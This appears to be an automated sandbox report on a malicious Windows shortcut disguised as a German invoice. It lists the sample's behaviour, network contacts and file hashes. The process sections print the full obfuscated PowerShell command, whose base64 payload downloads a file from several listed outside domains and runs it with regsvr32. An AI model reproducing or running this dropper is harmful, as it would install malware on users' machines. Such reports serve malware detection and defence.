Malware Analysis Report

2024-12-07 16:03

Sample ID 241113-ppnhsascqj
Target 8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65
SHA256 8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65
Tags
execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65

Threat Level: Likely malicious

The file 8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65 was found to be: Likely malicious.

Malicious Activity Summary

execution

Blocklisted process makes network request

Checks computer location settings

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 12:30

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 12:30

Reported

2024-11-13 12:33

Platform

win7-20240903-en

Max time kernel

119s

Max time network

124s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65.lnk

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Rechnungs-Details 2022.26.04_1249.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly9rdXBvbmRpZ2l0YWwuc3Rvcm1hcHAuaW4vbWlkby1uaWN1LzlOU1JDZlpCLyIsImh0dHA6Ly9mYXJzY2hpZC5kZS92ZXJrYXVmc2JlcmF0ZXJfc2VydmljZS91QURKdy8iLCJodHRwOi8vN2dhbGxlcnkuY29tL2JiZWF1dHlfZG93bmxvYWQvSHBPanJqRXhBYjZQWS8iLCJodHRwOi8vZTV3ZWIuY29tLmJyL3dwLWNvbnRlbnQvNFRQRFVwcGIvIiwiaHR0cHM6Ly9kd3dtYXN0ZXIuY29tL3dwLWNvbnRlbnQvdGZOczFjckhZWmQ2RjUvIiwiaHR0cDovL2NsdWJtYW5hZ2VyLm5ldC5hci9wcnVlYmEvN2xsUjlxV2ZRZHFsbkltbGlVRS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvTHF3eGJQclpKei5MTW87UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC9McXd4YlByWkp6LkxNbzticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\sNhYaMMPOU.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\sNhYaMMPOU.ps1"; Remove-Item "$e

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\sNhYaMMPOU.ps1

Network

N/A

Files

memory/2940-38-0x000007FEF630E000-0x000007FEF630F000-memory.dmp

memory/2940-39-0x000000001B690000-0x000000001B972000-memory.dmp

memory/2940-40-0x0000000001D90000-0x0000000001D98000-memory.dmp

memory/2940-41-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

memory/2940-42-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

memory/2940-43-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

memory/2940-44-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

memory/2940-45-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

memory/2940-46-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\sNhYaMMPOU.ps1

MD5 80bbc5429910a67fdbbd22941e33b2b1
SHA1 ad9daf9fcb9e16a9cc2dc62a531dd4586561e935
SHA256 750b087ab0fbf4ffb077d571b2c4ff776ccbc17e043beb80dcf63f919fb2b9f2
SHA512 cac158e88145753df2efca305605fead81d9aaaec0221580103364f521f9e99e87aa4cff6568c0f81a018d9d893d5041046f9528871c76df377b084fdfa584f0

memory/2940-53-0x000007FEF6050000-0x000007FEF69ED000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 12:30

Reported

2024-11-13 12:32

Platform

win10v2004-20241007-en

Max time kernel

95s

Max time network

141s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65.lnk

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\8c64bf50cb8e72573410f5f1de98f09c2b5c68259b1d5f011767ab14deb12a65.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Rechnungs-Details 2022.26.04_1249.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cHM6Ly9rdXBvbmRpZ2l0YWwuc3Rvcm1hcHAuaW4vbWlkby1uaWN1LzlOU1JDZlpCLyIsImh0dHA6Ly9mYXJzY2hpZC5kZS92ZXJrYXVmc2JlcmF0ZXJfc2VydmljZS91QURKdy8iLCJodHRwOi8vN2dhbGxlcnkuY29tL2JiZWF1dHlfZG93bmxvYWQvSHBPanJqRXhBYjZQWS8iLCJodHRwOi8vZTV3ZWIuY29tLmJyL3dwLWNvbnRlbnQvNFRQRFVwcGIvIiwiaHR0cHM6Ly9kd3dtYXN0ZXIuY29tL3dwLWNvbnRlbnQvdGZOczFjckhZWmQ2RjUvIiwiaHR0cDovL2NsdWJtYW5hZ2VyLm5ldC5hci9wcnVlYmEvN2xsUjlxV2ZRZHFsbkltbGlVRS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvTHF3eGJQclpKei5MTW87UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC9McXd4YlByWkp6LkxNbzticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\sNhYaMMPOU.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\sNhYaMMPOU.ps1"; Remove-Item "$e

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\sNhYaMMPOU.ps1

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 kupondigital.stormapp.in udp
US 172.67.179.224:443 kupondigital.stormapp.in tcp
US 8.8.8.8:53 farschid.de udp
DE 85.214.195.12:80 farschid.de tcp
US 8.8.8.8:53 224.179.67.172.in-addr.arpa udp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 7gallery.com udp
US 74.48.27.194:80 7gallery.com tcp
US 8.8.8.8:53 e5web.com.br udp
US 50.116.112.167:80 e5web.com.br tcp
US 8.8.8.8:53 194.27.48.74.in-addr.arpa udp
US 8.8.8.8:53 code.jquery.com udp
US 151.101.194.137:80 code.jquery.com tcp
US 8.8.8.8:53 dwwmaster.com udp
CN 121.36.207.120:443 dwwmaster.com tcp
US 8.8.8.8:53 167.112.116.50.in-addr.arpa udp
US 8.8.8.8:53 137.194.101.151.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 75.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 clubmanager.net.ar udp
AR 190.57.236.55:80 clubmanager.net.ar tcp
AR 190.57.236.55:443 clubmanager.net.ar tcp
US 8.8.8.8:53 55.236.57.190.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp

Files

memory/4740-2-0x00007FFEA9B63000-0x00007FFEA9B65000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xgsz05bq.s2e.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4740-12-0x000001FA43EE0000-0x000001FA43F02000-memory.dmp

memory/4740-13-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

memory/4740-14-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

memory/4740-15-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

memory/4740-16-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\sNhYaMMPOU.ps1

MD5 80bbc5429910a67fdbbd22941e33b2b1
SHA1 ad9daf9fcb9e16a9cc2dc62a531dd4586561e935
SHA256 750b087ab0fbf4ffb077d571b2c4ff776ccbc17e043beb80dcf63f919fb2b9f2
SHA512 cac158e88145753df2efca305605fead81d9aaaec0221580103364f521f9e99e87aa4cff6568c0f81a018d9d893d5041046f9528871c76df377b084fdfa584f0

memory/220-28-0x000001E472720000-0x000001E472EC6000-memory.dmp

memory/4740-30-0x00007FFEA9B63000-0x00007FFEA9B65000-memory.dmp

memory/4740-31-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 0ab03b4ab0ee8273a1eea28cef1ca1e7
SHA1 8a305ca40e71bd2b04b20c65e28730e3ff3f50b2
SHA256 695a48145171a84d61778fe33c410d3195109c7c59a2b1038a1f3ca14c52a3ed
SHA512 7347810d3c514b343def26aa42e4b758fc1cdd8a9e57c529de49615b995c8c1dab942d83d432a5ee6e022bbefd020d6b1d920ffa61a9ca2617ff8b67ce3c4f72

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

memory/4740-40-0x00007FFEA9B60000-0x00007FFEAA621000-memory.dmp